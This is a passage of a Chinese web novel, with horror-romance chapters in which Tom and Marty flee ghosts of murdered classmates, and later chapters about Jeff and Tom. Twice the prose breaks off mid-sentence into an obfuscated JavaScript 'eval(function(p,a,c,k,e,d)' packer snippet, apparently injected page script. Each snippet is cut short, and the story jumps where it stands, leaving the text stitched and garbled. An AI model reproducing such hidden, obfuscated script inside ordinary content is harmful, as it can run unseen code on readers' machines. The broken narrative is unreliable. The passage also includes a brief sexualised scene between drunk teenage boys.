太阳穿过磨砂玻璃,室内充满朦胧的光线。他们能够不费力地看清自己的落脚点。两人都很清楚路线,马蒂就不用说了,汤姆整个夜晚都穿梭在各个楼层。 他们沿着走廊拐弯,直行,然后是一道门,楼梯就在门后。 嘎的一声,门刚拉出巴掌大的空隙,一双双僵直的手臂涌出,汤姆和马蒂惊得急速后退。 缝隙一寸寸变大,门被推开,手臂之后是肩膀、脖子,当他们露出脸时,汤姆听到马蒂吃惊地叫唤,“这......怎么会......”,他自己也不由地倒吸一口冷气—— 是基普、弗兰克、卡罗尔......甚至还有南斯!除了管道工,所有死去的人都在这儿了。 他们的脸庞是刷漆似惨白,表情如出一辙,都是唯有用力到顶点、以至于五官扭曲才能做出来的表情。扑面而来的诡异气息,哪怕是不知情的陌生人瞧了,也会不寒而栗。 基普他们没死!? 不!不对! 汤姆定睛一看,特德和乔伊的腰腹完好无损,苏珊的皮肉稳当当地贴在骨架上,基普面庞毫无裂痕...... 最不可思议也是最有可能的答案浮现在汤姆脑海—— 鬼魂。 是基普他们的鬼魂。 每一个人都回到了生前最完整美好的时候,除了面失血色,他们与活人毫无差别。 鬼魂们蜂拥而上,汤姆挥舞斧头防卫,劈中鬼魂那一刹那,汤姆就知道,事情向更糟糕的方向滑去了。 面对攻击,鬼魂们不躲不避,完全没有痛觉,被踢倒地上,毫不在乎地爬起,重新聚拢来。 对于马蒂,他们还有生前的记忆,知道马蒂的残忍,于是用指甲、牙齿、拳头等身上一切可以用作攻击的部位,以最大的力气去啃啮打。马蒂若是吃痛,他们就龇牙咧嘴,鬼脸笑得得意。 相较之下,汤姆这边的鬼魂们客气多了。他们围攻上来时,手脚规规矩矩的,显得“围攻”有些虚张声势。鬼魂们对被打倒,爬起来,继续被打倒的循环乐此不疲,兴奋得两腮肌肉高高的肿起。 继续厮打下去毫无益处。 再一次扫退身边的鬼魂后,汤姆一把捞起被基普、苏珊几个鬼围攻的马蒂,大跨步往前跑,鬼魂缀在他们身后。 血液在升温,浑身处于肾上腺素上头的状态,马蒂的心却是死寂冰冷。 想起刚刚面对鬼魂时的退缩,他感到羞愧难当。尤其是在汤姆面前,自己表现出了软弱。 马蒂痛苦地审视自己,不吝啬地用最辛辣的词汇评价—— 马蒂就是个丑陋不堪的怪物,性子阴暗懦弱,活像一只老鼠,谁看到了他都会厌恶,唾弃一口也不奇怪。汤姆不一样,他有一副被美神吻过的俊俏脸蛋,能力优秀出众,像一朵含苞待放的玫瑰,不需要盛放,就能吸引了无数男男女女。 丑陋又要坐牢的马蒂,光鲜亮丽的汤姆,怎么看都有如同天堑般的差距,怎么想他们都不可能在一起。 自己此生也不可能得到汤姆。 一想到这个结果,马蒂随着跑步而急促的呼吸一滞。 ——不! 他绝不允许这种事发生。 既然这样,倒不如....... “杀掉我吧。”马蒂哀哀地乞求道,“与其被他们捉住,汤姆,还不如让我死在你的手里,这是我莫大的荣幸。杀了我吧!” “你又在想些什么乱七八糟的。”汤姆说,“知道落到他们手里会很惨,还不跑快点?” 马蒂被噎住似的说不出话,顿了下,他试图讲理:“他们成了鬼魂,没有痛觉也不会死亡,你如果不杀了我,我只会拖累你,我们很难全身而退。” “马蒂,你但凡把这句话过过脑子,都能知道它有多前言不搭后语。” 马蒂面容阴沉又委屈。汤姆瞥了一眼,瞧出马蒂的不死心,冷笑道:“我告诉你,马蒂,你再给我乱说话,我要生气了。” 马蒂终于闭了嘴。 两人说话间,他们已经绕着二楼的走廊跑了好几圈。起初鬼魂们只会亦步亦趋地追,当汤姆和马蒂绕路,进了楼梯,一鼓作气跑到二楼后,鬼魂们变得神出鬼没,冷不丁地从某个角落窜出,堵在路中间,逼得汤姆和马蒂在在二楼打转。 “汤姆,这里!这里!”马蒂忽地指着一块大玻璃,喊道。 这是一块落地玻璃,地面是草坪,摔下去运气好点能毫发无伤。迅速确认好情况后,汤姆用斧头使劲力气地砸,碎玻璃哗啦啦往下掉。 “好,我们——”跳。 汤姆话没说完,就被马蒂抱着腰,跳了楼。 汤姆是个体魄健全的青年人,看着轻,实际骨头坚实。马蒂为汤姆垫背时,内脏差点压出来,痛得直嘶气。 “你!?”汤姆的责问在看到马蒂背后流出的鲜血,无奈吞了回去。他扶着马蒂站起身,无数玻璃碎片插入马蒂后背,汤姆没忍住发问,“你是在逞强吗?” “我很高兴,汤姆,这是为你受的伤。”马蒂没好意思说,这是为了保护汤姆受的伤。 马蒂不后悔自己这么做。与其被鬼混抓住折磨,倒不如就此死去,而且万一他足够幸运呢?马蒂期望地想,“既然基普他们能够变成鬼,那他是不是,是不是也能......” “为了我?你觉得我会傻到往玻璃上撞吗?”说话间,汤姆关注着鬼魂。基普他们从二楼探出尸体,很快又缩回去,不见身形。 汤姆不敢大意,向马蒂提出:“我背你。” 马蒂死活不肯答应,时间紧迫,汤姆顺势改为搀扶着马蒂跑。 “不管怎么样,汤姆,我很高兴,真的很高兴。”没有比这更甜美的伤口了,甜美到马蒂觉得背部的刺痛沿着神经系统传递,成了注入大脑的甜腻糖汁。 马蒂想起了胸前的玫瑰,“我可以送你一朵玫瑰吗?” “不可以。” “好吧,其实能和汤姆你一起,这已经是我最棒的生日礼物了。”马蒂悄悄在心里补了一句,我还亲吻了你。如果在仓库的那个可以算作吻的话。 “你的生日?你是说,愚人节,也就是今天是你的生日?”见马蒂点头,汤姆沉默后说,“那朵玫瑰你还要给我吗?” “你接受了?”马蒂眼睛一亮。 “嗯,不过,我有要求,等你出去后亲自给我。” 马蒂声音很低,几乎是耳语,“那真可惜,可能来不及了啊......” “别乱想,快走。”汤姆说。他没听清马蒂说了什么,但是从马蒂的神情也看得出来他在说什么丧气话。 他们说着话,脚步不停。很快就到了校门口,铁门大摇大摆敞开着,眼见希望就在前方,汤姆他们的步子更快了。 快要迈出铁门时,变故发生,横空出现的一双手拽住马蒂的手臂,很快,便是两双、三双......更多的手将马蒂一下扯开三四米远。 汤姆转身要去阻止,凭空而起的气流把他撞飞出铁门,落到地面时又无形地垫了下。失去意识前,眼睛里的最后一幕,是嘭的一声关上的铁门。 地上只留下了一道长长的血色痕迹,和一朵玫瑰。 汤姆是在医院醒来的。美利坚警方掘地三尺,只找到录像带、被打叉的毕业手册,以及两具尸体,基普等人的尸体全部不翼而飞,连一根头发都没有留下。汤姆顶着警察怀疑的目光,一次次不厌其烦的重复细节: “准确来说,我并没有亲眼看到马蒂杀人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许是看得久了,眼睛一个失神,照片中的马蒂冲汤姆眨了眨眼。汤姆回神,再次看去,马蒂又是那副戴着眼镜、傻里傻气的单纯模样。 是错觉吗? 倏地,汤姆肩膀被拍了一把,他回头。 “汤姆,快走了。” 父母站在他身后轻声说道。他们还要去赶飞机。 汤姆应了一声,低头和马蒂做最后的告别:“再见了,马蒂。”他弯下腰,将捧在手心的花束献上,起身和父母一同前往机场。 飞机起飞。 多兹维尔中学的鬼群忽地一致抬头,用不见丝毫反光的眼珠,久久注视着飞机由大变小,逐渐远去。 他们躁动不安,喃喃声忽大忽小,形成了重叠的回音: “汤姆,他要来了......小心……马......” 汤姆陡地惊醒。 “嗯,刚刚我梦到了基普、卡罗尔他们。”汤姆回想着他做的梦,“他们似乎说了什么......谁要来了?小心?小心谁?” 剧烈的颤动将汤姆从思考中唤回现实,整个飞机抖得厉害,像是突然负担了无法承受的重量。颤动来得快,走得也迅猛。第一声惊叫刚被发出,飞机已经平静,留下尚在惊慌的人们面面厮觑。 来去匆匆的抖动事故,若不是物品七零八落、椅背上存在的水渍,人们只会觉得刚才一切都是幻觉,但是他们想破脑袋也不明白,索性不管了。 汤姆也是这样,他继续思索自己所做的梦。 “刚刚——等等,刚刚做了一个什么梦来着?好像梦到基普,然后呢?” 汤姆大脑清明,却怎么也想不起来,什么印象也没有。很快,随着时间流逝,他连梦到基普这些人也忘了,只依稀记得是个乱糟糟的梦境。 长空之下,墓园。 洁白的花束被庄重地放在墓石前,竖立的石碑上刻着掀起了大半个美利坚风波的名字——马蒂。 棺材里。 几朵干花和用红笔打着叉的毕业年鉴孤零零地躺着。 19.宠物坟场01 2007年11月27日,加利福尼亚州圣克鲁斯县医院。 在手术室开门前几分钟,杰夫忽然感受到一缕凉意,游蛇似的在后背乱窜,又像是死人的指尖轻轻抚上了他的脊椎,冷得刺骨。 死了。 这个词出现得很自然,如同上帝出于怜悯而下达的旨意,只为了让他的信徒不再煎熬等待。杰夫无比清晰地认识到—— 他死了。 手术室里的那个人终于不再担忧疼痛与死亡的侵袭,他闭上了眼,可以尽情地享受死亡的美好。 只有活着的人才会有理由将死亡视为仇敌,一位随时会剥夺他们美好生活的仇敌,并衷心地为不知道哪一天会降临的敌人而忧心忡忡。 但是手术室里的人不一样,他已经死了。从今以后,他不会再畏惧疼痛和死亡这两个敌人了,也许他们会成为朋友—— 所以死亡看似带走了他,实际上是他战胜了死亡。 吱嘎一声,杰夫的沉思被打断,他看着打开的手术室大门,医生、器械护士、麻醉师、巡回护士纷纷走出来,黑压压的人群让他看不清手术室内的情景。 “也许他们是故意的,或者应该称做好意?”杰夫心里想着,从等候椅上站起身,他明白自己几分钟前的预感正在变为现实。 他静静地站着,走廊的灯光落到他面庞,落在乌黑的眉毛、略薄的嘴唇、英俊非凡的脸部线条上。健康俊俏的青年人总是招人喜欢的,医生护士们投来的怜悯目光更为真诚了。经过时,他们拍了拍杰夫的肩膀。 “实际上大可不必这样,”杰夫冷静地思考道,“我足够理智。” 死亡是杰夫察觉到的既定事实了,但是它还没有被医生宣之于口,杰夫便等待着。 人的死也是要有一套流程的,最正规的是先由专业人士下发死亡告知,于是在亲人心里死者第一次死去。 以往总有病人家属不死心,期待着奇迹的发生。杰夫见过很多这样的人,哪怕他们亲眼看到自己的朋友、家人被刀捅穿了肚子,五脏跟放进了搅拌机里捣过一样;或者,脑袋破了个洞,白的、黄的液体如同打翻了的酱汁流得到处都是......他们还是不死心。 医生这个时候仿佛成了上帝,出口成真,拥有宣判一个人是否死亡的能力。只要他说,“他可真是命大,脑袋破了个洞,我们还是抢救成功了!” 会信的。杰夫无数次感知到这点。 最后从手术室里出来的是主刀医生,布达·詹姆斯。他耷拉着脑袋,还没走到杰夫面前,就试图用镇定又带着一丝同情的语气宣布,然而声音里更多的是麻木,和他疲惫发红的眼睛很衬。医生说: “很遗憾,我们已经尽力了......杰夫!?” 视线落到死者的亲属上,医生面容不复倦怠,平淡的语调陡然起伏。 “是我,布达。”杰夫点头。 布达话音里的同情变得真切:“很抱歉,我的好友,不过蔡斯·马修斯先生是笑着离开的,他离开得没有痛苦。这并不是宽慰你的话,是我基于医生理性的判断,你见着了也会这么说。” 布达和杰夫是大学好友,但是他从没见过杰夫的父亲,杰夫和父亲的关系一般,甚至不如杰夫早逝的母亲那般深厚。哪里想到,第一次见好友的父亲,却是在这种情况下。 “我知道的,布达,谢谢你了。” 多年前蔡斯的头受了伤,这让他每逢寒冬阴雨,都会头疼不已。病痛折磨着这个斯文的男人,本来就略微秃顶的头发掉得更凶了。假日从寄宿学校回家的杰夫,准不会意外地看到洗浴间一大把的短头发。从那个时候起,杰夫意识到了同母亲蕾尼不一样的死法—— 死亡在一点一点夺走亲人的生命力,谁都毫无办法,除了耶稣基督。可是基督耶稣不可能像复活拉撒路那样,在急救室里呼喊:“蔡斯·马修斯,出来。” 所以他的父亲必定死去。 “汤姆没来吗?”布达问道,口吻却并不意外。 “他知道这件事儿后,病又发作了,我喂他喝了药,他需要休息。” 想到汤姆的病,杰夫按住突突直跳的太阳穴,刚才漫长的等待都没有让他这么烦躁。那股凉意似乎又来了,杰夫忍不住怒目,死亡带走了他的一位亲人,还想带走他另一位亲人吗! 布达叹了口气,给了杰夫一个拥抱后,步履匆匆地离开。杰夫重新坐回等候椅,准确的说,是跌坐回去。手摸到了等候椅的钢板,熟悉的冰冷,把他迟钝的思绪一下拉回多年前。 杰夫是在94年转学来到圣克鲁斯县的寄宿中学,那时候的他刚经历了母亲蕾尼死亡、复生、再次死亡的打击,还有绿洛镇的好友德鲁一家的去世,年仅十三岁的他怎么能不悲痛? 汤姆就是在这时出现了。他们即是同班同学又是宿舍室友,汤姆性子和善,招人喜欢,和谁都能说上话。杰夫总是很难对这类人竖起心防,久而久之,他们的关系自然亲厚非凡。 想到这,一个问题仿佛灵光乍现,突然窜进他的大脑—— 什么时候兄弟情开始变质的呢? 杰夫像水手寻找灯塔、辨明航线那样梳理记忆,试图找出任何的蛛丝马迹。 是他们从中学开始就亲密无间,吃住同行? 是他们一起观看《Rent》时情不自禁的欢呼和热吻? 还是,每次带着汤姆回家,父亲那意味深长的眼神? 或者,早在他因为汤姆的病而选择走上医生的路时? 从中学寄宿到大学租房,哪怕是工作了,两人都不曾分离,最后走在一起似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们没有意识到行为过了界,还在像好兄弟打闹那样拥抱,也不知道自己在笑什么,明明笑得也不畅快,但两人就是停不下来,以十六七岁少年拥有的旺盛精力而兴奋得不行。 “杰夫?” “嗯。汤姆?” “嗯。杰夫。” “汤姆?” …… 少年们悄悄地出声。 随着音乐剧剧情的发展,悲伤像是越来越浓郁的乌云悬在舞台和观众席上空。杰夫和汤姆忍不住想做些什么分散自己的注意力,也是出于对刚才被呵斥的反抗,他们不安分地叫着对方,再兴致勃勃地回应。 一听到回答的声音,他们又忍不住兴高采烈起来,仿佛他们凭借这样的举动,战胜了舞台上的生离死别。 20.宠物坟场02 杰夫本身不是一个多么热心肠的人。尤其是不笑的时候,面庞冷得积了层雷尼尔山上的雪。 他穿着棕色的连帽衣和牛仔裤,外面套了一件皮夹克,单肩背着黑带红包。杰夫不喜欢和陌生人对视,所以他的视线会轻飘飘地越过大多数人,这让他不插兜、不戴耳钉、不纹身,也流露出特立独行的气息。 中学时期不少人因此望而却步,或者干脆心生不爽,背着杰夫私下阴沉地嘀咕:“他高傲个什么劲儿?不就是明星之子,摆什么脸色。” 只有真正亲近杰夫的朋友明白,这小子是天生忧郁脸。和杰夫相处最久的汤姆,更是不知道从哪儿产生的错觉,一心觉得杰夫就是个面冷心热的腼腆小男孩。自认身为好友,帮杰夫澄清‘高傲的明星之子’误会这事儿,他责无旁贷。 汤姆多次热心地揽着杰夫,兄弟两勾肩搭背参加聚会。汤姆握着一罐啤酒,像一条滑不溜秋的鱼在人群里晃来晃去,逮住人就聊天,聊着聊着夹带私心地感慨杰夫有多善解人意,事后还自以为行动得不露踪迹。 但是在杰夫看来,汤姆就差指着他的鼻子大声嚷嚷:“瞧啊!各位,瞧瞧这个面冷心热的小伙子吧!是个好伙子呢!” 整夜,汤姆精力旺盛,稍显疲倦的时候,就跟喝矿泉水一样往嘴巴里灌酒。咕噜咕噜几口入喉下肚,汤姆就像是被充满了能量的电动猫咪,哒哒迈出的脚步再次变得坚.挺有力。 确实很像一只猫。 杰夫一手插在夹克衣袖兜,缀在汤姆身后。他养了只五岁的狸花猫,猫小姐就是一边喵呜喵呜叫不停,一边迈着小短腿在屋子里巡视领地一样走来走去。 杰夫握着汤姆的另一只手,如同扯住猫咪后颈皮的上帝之手,提醒着小猫别玩的忘乎所以了。 实际上,若不是两人始终相握的手,杰夫真怀疑汤姆这活络样能咻的一下窜到不知名的小角落,让自己找不到他身影。 这么一想,杰夫忍不住将手握得更紧了。汤姆察觉到手掌的力气,疑惑地回过头,和杰夫四目相对后,他仿佛受到了挑衅,不甘示弱地加重力气捏回来,得意地晃了晃两人相握的手。 “看来你是真喝醉了,”杰夫笑着评论,“幼稚。” 这点小插曲没有打扰到汤姆的‘推介热心肠好伙子杰夫’大业。 眼看自己就差被明码标价的卖出去,杰夫终于忍无可忍,他按着背对着自己的汤姆的肩膀,将人灵活地转一个圈,用一根手指抵住那个因为突然被转了180°而晕头转向的、上下一点一点的脑袋。 “啊,杰——杰夫,是你吗?” 汤姆认出来是杰夫后,高高兴兴地像是只浣熊一个跳扑过来,就想给好兄弟大大的拥抱,冲击之猛,杰夫这棵树桩没挨住,两人双双跌坐进沙发。 汤姆本来就喝上头的脑袋更是找不到东西南北了。他捂着自己的脑袋,含糊地说: “我有点晕,可能是酒的后劲上来了,乔呢?还有苏珊?我刚刚还在和他们说话来着......嗯我想我也许是失忆了——不,应该是叫喝断片了......杰夫,刚刚发生了什么?” 杰夫短暂心虚了下。汤姆没收到答复,抬起眼皮,瞧见杰夫背后的人群,“我,我看到约翰了......” 他说着手脚并用要从杰夫身上爬起来,急不可耐地犹如鱼儿得进水一样,要重新游入人群的汪洋。 杰夫太阳穴一抽一抽的,他恶狠狠地掐住汤姆脸颊,直截了当地说出心里话: “汤姆,你个小混蛋。你到底有没有把我放在心上?你明知道我有多么在意你、喜欢你,别再把我推给别人了!我只需要你这么一个朋友。” 汤姆被杰夫难得的真情流露唬得脸膛通红,愣了一下,才反应过来摇头晃手地挣扎,好不容易才从杰夫的手掌心中救回脸蛋,疼惜地捂着自己被掐红的腮帮子,嘟囔到: “我当然也在意你,杰夫,换成别人我哪里会像个妈妈一样,替他操心这些!你就在我心里,我对你是同等的喜欢,不,”少年人奇怪的竞争心理冒出来,“是更多的喜欢,更多的喜欢!杰夫。”他强调。 杰夫心脏狂跳,表情快镇定不下去了,于是他匆忙将这颗黑发脑袋摁在自己胸膛,顺道撸了一把汤姆柔顺发滑的头发。 猝不及防被偷袭成功的汤姆没来得及抗议,就被杰夫肋骨下砰砰直跳宛若打着狂野架子鼓的心脏声吸引了。他好奇地拽着杰夫的手,按在自己胸口,说:“你心跳得好快。杰夫你摸摸我,听听我的心跳,是不是也这么快。” 汤姆穿的薄,一件宽松的白T恤罩着上半身。小酒鬼直接将好友的手掌放到胸。指尖触碰着胸膛红点时,杰夫没反应过来,用指腹隔着衣服搓揉几下,汤姆哎哟哎哟叫唤了几下,咯咯笑着在他怀里直扭身子。杰夫从指尖到锁骨,整条手臂僵硬得像是凝固的水泥。 “杰夫,你心跳又变快了。”一直凝神听着好兄弟心跳声的汤姆,用一种确定、惊奇的音调说。 杰夫将汤姆脑袋往下按到腹部,闷声闷气地说:“不准偷听我的心跳。” “你做什么杰夫?我关心你呀,好朋友在关心你呀!”汤姆不满地咕哝,“你可得小心,再快点就该去看医生了哦。”语气带着几分期待。 杰夫当即心平气和,好笑地抓了一把汤姆黑发,直把人头发捋得跟小刺猬似的乱糟糟炸起。 “还挺小心眼的。”杰夫心想着。 上周,汤姆得了流感得去医院,杰夫陪他去挂号就医。医生刚说要打针,话音都没落地,汤姆已经刷的一下站起身,揪着杰夫的袖子就要走人,被杰夫两只手力压着坐回椅子,脸蛋气呼呼地鼓出一只河豚。最后杰夫承包了好几天的早餐才哄得汤姆笑回小傻子模样。 汤姆晃脑袋也晃不掉作乱的手,反倒把自己本就昏呼呼的神智晃得找不到影了,困意跟着上来。他放弃挣扎,靠着杰夫随便找了个舒服的姿势,没过几分钟呼吸平稳下来。 “小混蛋,你这就睡了?”杰夫想,这就是有一个合租好友的好处了。喝酒喝过头了没关系,好朋友会把你送回家。 “哇哦。” 围观的美利坚青年从喉咙里挤出兴奋的怪叫,声音之怪,犹如被黑猩猩追逐的倒霉红疣猴。 杰夫两手捂住汤姆的耳朵,深邃绿眼扫视这群野猴子们。 汤姆带着杰夫参加的聚会,没有激进的人士,干的最出格的事儿就是偷父母的证件买酒来喝。大家都是一些好相处的性子,配合地降低音量。但他们一个个揶揄的眼神,让杰夫明白他们似乎误会了什么。 杰夫解释:“我们只是兄弟。” “兄——弟——”大家拖着尾音。 “你们是在学安吉拉和克林斯,定义一种全新的兄弟关系吗?”有人咂舌。 安吉拉和克林斯是《吉屋出租》里的一对情侣,嘴巴里高呼“兄弟”,当着所有人的面亲吻。 《吉屋出租》虽然是去年上演的歌舞剧,但其经典到现在青年人仍然把他视为潮流先锋,隔三差五的谈论。所以其他年轻人也一下就明白了,哈哈大笑起来。 那天是怎么回复的?杰夫记不清了,唯一有印象的是,那是他第一次从旁人的视线里察觉到,自己和汤姆似乎越界了。 - 1997年4月餐桌上,汤姆还在为艾伦·德詹尼斯,这位出名喜剧演员的出柜而大吃一惊。杰夫到是面色如常,镇定自若地手执刀叉吃饭。 他的母亲蕾尼再怎么说,曾经也是好莱坞的当红明星。杰夫自幼跟着母亲,常常去剧组探班,虽然蕾尼并不会有意识和儿子讲述,但也不会刻意将杰夫和这类消息隔开。耳闻目睹下,杰夫对于圈子内的秘辛早有见识。 汤姆不一样,他不看《娱乐周刊》这种报纸,生活的环境又很单纯,学校、寄宿家庭,顶多加个十字街头的唐老鸭便利店。得知消息,汤姆惊得合不拢嘴,连屁股带椅子地挪到杰夫身旁,不住地扯着杰夫拿着叉子的左手臂袖子。 杰夫默默地用右手切好食物,接过叉子,听着汤姆语无伦次的话。 “艾伦,是那个艾伦!她演了好多剧,我们还看过,那部她和她的朋友们。是艾伦诶......不叫艾伦·格林,也不是什么艾伦·布朗,艾伦·约翰逊......是艾伦·德詹尼斯!” 这是谁? 这可是艾伦·德詹尼斯! 《艾伦和她的朋友们》的主演,美利坚响当当的喜剧演员,不是什么籍籍无名之辈! 对于汤姆来说,艾伦在事业巅峰期时毅然决然的出柜,寻常人如果没有一腔勇敢是做不出来! 他用佩服至极的口吻说了一通,才回过神,看着一直吃东西的杰夫,汤姆以为是自己说话颠三倒四:“啊,天哪,我在说些什么?我太惊讶了,杰夫你能明白吗?” 杰夫并不熟悉艾伦·德詹尼斯,所以对于汤姆惊诧得连饭也顾不上吃的行为,杰夫并不明白。 他敷衍应了几声,没等汤姆嘴巴一张继续叽叽喳喳,眼疾手快地往汤姆嘴里塞了一小块抹了黑巧克力酱的吐司面包。 汤姆登时脸皱起来,表情欲吐又止,用控诉的目光直盯着杰夫。 “咳咳。”杰夫装作咳嗽,拳头掩在嘴唇,试图遮住自己脸上的笑容。 杰夫喜欢黑巧克力,汤姆则吃不了苦味的食物,他想和汤姆分享,可惜汤姆大部分时候都机警得不行,瞧见杰夫有一丁点分享的苗头,他会躲得远远的。 这次,可算给杰夫逮着机会了。 杰夫薄唇露出一抹微笑,惬意地说:“我觉得味道不错。”两三口吃完黑巧克力吐司面包,然后下巴一抬,示意汤姆看他光溜溜的餐盘,以此佐证自己说的真话。 汤姆艰难地咽下去,舌头上仿佛还残留着巧克力的苦味。他眉毛拱得很高,嘴巴往下撇着,说: “苦。” 五官挤出来的表情形象地印证了汤姆的话。 其实,汤姆更想说难吃。但是杰夫喜欢,他就换了个稍微有点委婉的形容——虽然对汤姆来说,苦大部分代表着难吃。 杰夫对这点心知肚明,他端起一旁的牛奶,递到汤姆唇边。汤姆毛茸茸的脑袋凑上来,没注意自己的发丝挠在杰夫脖子上,咬着杯口,就着杰夫端牛奶的手喝起来。嘬了几口后喝不到时,他眼睛瞟向杰夫。 杰夫单手支着下巴,白日光线下那双眼睛映出纯净的湛绿,嘴上说着:“汤姆,你是只小懒虫吗?”手臂已经往上抬出一个恰当的弧度,让杯子里的牛奶在重力下流入某人喉咙。 喝完牛奶,压住了那点实际上并没有多浓郁的涩味后,汤姆擦擦润着牛奶渍的唇瓣,振振有词地叭叭:“我会觉得苦怪谁?杰夫,你辜负了我对你的信任,这是你该做的。” 夜晚入睡前,汤姆又想起了艾伦,眼巴巴看着杰夫,一副我有好多好多话想说的模样。 出于某些说不清道不明的因素,杰夫对这个话题也很有探讨的兴趣。于是两人头挨着头、肩靠着肩地躺在床上窃窃私语,一直聊到清晨才咂咂嘴停下,意犹未尽地睡去。 他们如此的年轻气盛,哪里想得到,灾祸将在7个月后毫无声息地降临? 拥有无限智慧的上帝,将痛苦赐给人类时总是特别慷慨①。 杰夫还记得,那天是感恩节。汤姆和他一大早就起了床。前几天他们去看望了蔡斯,并将小猫留在了蔡斯家。起床后没有熟悉的喵叫,两人还有点不习惯。 他们穿好衣服,戴上耳罩,抓起衣帽架上的围巾,也不管是谁的,直接给自己光生生的脖子套上。 开门前,汤姆想起了什么往后躲。门拉开那一刹那,风雪劈头盖脸涌进小屋子,吹起了杰夫垂在腹部的红色条纹围脖尾巴。 街区的雪足足有几英尺厚,天空还在飘着细雪。 杰夫抹了一把仿佛凝出霜的脸,身体也没转,看也不看地手往后一抓,精准掐住猫着腰缩在自己身后的汤姆脖子,将人提溜到面前。 汤姆面容挂着灿烂的笑,双手讨好地摸上杰夫的手,“是不是很冷,杰夫。” 他捂着杰夫的手,呼呼地吹了好几口热气,然后抬着头,会说话的眼睛里泛着一阵阵‘我错了原谅我吧’的波光。 几个小时后,他们左右手都拎满了袋子。袋子鼓囊囊的,里面装着菜、调料、饮品。 两个人信心十足,打算大展身手,做一顿丰厚的感恩节大餐。 他们将袖子挽到臂肘,洗干净了双手,拿出腌制了一晚上的火鸡。桌上摆着洋葱、胡萝卜、面包片、鼠尾草,等等,这些食物调料都是要塞进火鸡肚子里的。 汤姆喜欢小面包,塞着塞着,忍不住开始吃。杰夫见了,把面包片挪到自己面前,一本正经地说,得避免某只小松鼠把火鸡的晚餐给吃没了。 汤姆不服气:“这是我选的面包!” “我付的钱。”杰夫慢条斯理地当着汤姆的面咬了一口面包。 汤姆气得从板凳上站起身,作势要朝杰夫扑来。杰夫眼皮一跳,他还真的怕汤姆这么干,手臂一伸,把面包盘推回汤姆面前。 这般识时务的行为,乐得汤姆一个得意忘形,动作幅度稍大,就要从板凳上摔下去,掉落之前,汤姆下意识拽了杰夫一把,不是为了稳住身形,只是出于—— 我要摔了? 不行,杰夫会笑我。 要摔一起摔! 杰夫本来就探过身子想接住失足的汤姆,这下可巧,被抓了个正着。 两人齐刷刷倒在地,餐盘跟着摔个粉身碎骨,撒了一地的柠檬汁,清香在空气里弥漫开来。汤姆和杰夫脸庞、衣服上散落着面包屑,袖子也被酱料污染了一圈。 一片狼藉。 始作俑者汤姆黑眼珠骨溜溜转了一圈,在杰夫的冷笑声中,试图若无其事地爬起来,最后被杰夫按住腰抽了一巴掌。 “你!你!” 汤姆双手捂着屁股哇哇大叫,但知道自己理亏,委屈地站在一旁,看着杰夫收拾残骸—— 杰夫不准他在晚饭前再靠近餐桌,一英寸都不可以。 总之,经过一番兵荒马乱后,杰夫把肚子滚圆、抹了一层橄榄油的火鸡裹上锡纸,放入烤箱。然后拎起汤姆去卧室换衣服。 三小时后,换了一身宽松棉服的汤姆趴在沙发上,渴望地看着杰夫将火鸡从烤箱中拿出,和南瓜饼、炖肉、奶酪面包等摆放在一起。炖肉煮得烂熟,热腾腾得直冒气,空气中弥漫出肉桂、奶酪、火鸡的香气。 杰夫用眼神制止了想要飞奔冲来的汤姆,转身去厨房拿饮料。 等待中,汤姆听到门铃声响。他朝杰夫喊:“杰夫!门铃响了。我猜是群穿着奇装异服的小可爱。” 也不管杰夫有没有听到,汤姆脚步轻盈地跑到门口,要开门前,某种恐怖又阴暗的气息掠过他的身体。 汤姆下意识停了动作,疑惑地四下张望。 刚刚是风吗?怎么感觉…… “笃笃。” 敲门声再次响起,还有稚嫩的童音: “哥哥开门呀,快,快开门呀——” 汤姆听出来这个声音主人是苏珊的妹妹,芬妮。他拉开门。 一只只带着硕大动物头罩的矮小身形出现。横平竖直的几何形状,挖了孔的眼睛一致投出沉默的、森冷视线。 一阵寒意袭上汤姆脊背,他心脏骤停,差点双腿一软跌坐在地。 正用可乐托盘端着两杯饮料走出来的杰夫,又走了进步,才发现门口的情况。他离得远,但距离也没削弱这群带着动物头套的孩子们散发出的诡异感。 见汤姆仿佛吓坏了,杰夫匆匆走上去,挡在汤姆身前。 小孩子们歪着头,一句话也不说。 杰夫将可乐托盘递出去,两个代表走上前,小手抱起饮料,用活泼的语调说:“虽然不是糖果,好吧,这个也勉强可以。” 正常的小孩调皮音冲淡了头罩的恐怖感,汤姆不再紧紧抓住杰夫的手臂,他探出了头。 “哥哥,你是被我们吓到了吗?”小孩嘻嘻哈哈地问。 汤姆登时眼睛都大了一圈,他正要扒开杰夫,好好和小孩们理论一番,被杰夫一把按回身后。 “好吧,不和你们计较。”汤姆梳整着自己被杰夫挠乱的头发,心想。 “你们怎么会想着打扮成这样?”杰夫语气严肃。 小孩们彼此对视。 “突然就那么一想啦!感觉心里某个声音一直在说动物头罩动物头罩呢。” “我好像也差不多,大家都不约而同想到了一块。” “芬妮之前不是想要戴杰森的曲棍球面具吗?” “别提了,我把面具放在桌子上,结果被多利当成玩具,一条一条爪痕,难看死了。妈妈只能临时给我买到这个,不然,我才不会带丑东西呢。” 真的有这么巧合的事儿吗? 杰夫越听脸色越沉重,汤姆不明白发生了什么,但是他瞧着小朋友抱着的饮料,担忧地问:“有酒精吗?” “放心,小孩子可以喝的。” 汤姆想了想,又去橱柜抓了一把糖果出来。 “哇——啊!”孩子们眼睛发亮,盯着形状各异的糖果,哪怕带着面具,汤姆和杰夫都仿佛能看到他们快滋溜滋溜流出来的口水。 带着动物头套的小朋友们说:“哥哥,你真可爱,我们喜欢你,祝福你。上帝喜欢乐意奉献的人,祂会一直注视着你的哦。” 然后一群小不点揣着糖果,蹦蹦跳跳地结伴离开了。 回到餐桌时,汤姆还捂着胸口,似乎心有余悸。 杰夫拉开板凳,绅士地弯腰,有模有样地说: 